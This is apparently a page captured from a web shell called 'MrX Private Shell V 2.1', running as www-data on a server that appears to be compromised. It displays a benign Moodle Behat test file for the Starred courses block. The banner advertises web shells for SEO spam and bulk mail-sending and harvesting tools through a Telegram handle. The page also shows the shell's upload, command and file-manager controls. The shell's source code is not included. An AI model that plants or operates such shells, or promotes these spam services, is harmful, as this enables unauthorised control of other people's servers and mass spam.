__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
@block_starredcourses
Feature: Starred courses
  In order for me to quickly navigate to my favourite courses
  As a user
  I must be able to add them to the Starred courses block

  Background:
    Given the following "users" exist:
      | username | firstname | lastname | email |
      | student1 | Student | 1 | student1@example.com |
    And the following "courses" exist:
      | shortname | fullname |
      | C1        | Course 1 |
      | C2        | Course 2 |
      | C3        | Course 3 |
    And the following "course enrolments" exist:
      | user      | course | role    |
      | student1  | C1     | student |
      | student1  | C2     | student |
      | student1  | C3     | student |
    And the following "blocks" exist:
      | blockname       | contextlevel | reference | pagetypepattern | defaultregion  |
      | starredcourses  | User         | student1  | my-index        | content        |

  @accessibility @javascript
  Scenario: User has no starred courses
    Given I log in as "student1"
    Then I should see "No starred courses"
    And the page should meet accessibility standards

  @accessibility @javascript
  Scenario: User has starred courses
    Given I am on the "My courses" page logged in as "student1"
    And I click on "Actions for course Course 1" "button"
    And I click on "Star for Course 1" "link"
    And I click on "Actions for course Course 3" "button"
    And I click on "Star for Course 3" "link"
    When I follow "Dashboard"
    Then the page should meet accessibility standards
    And I should see "Course 1" in the "Starred courses" "block"
    And I should see "Course 3" in the "Starred courses" "block"
    But I should not see "Course 2" in the "Starred courses" "block"

Filemanager

Name Type Size Permission Actions
starred_courses.feature File 1.7 KB 0777
Filemanager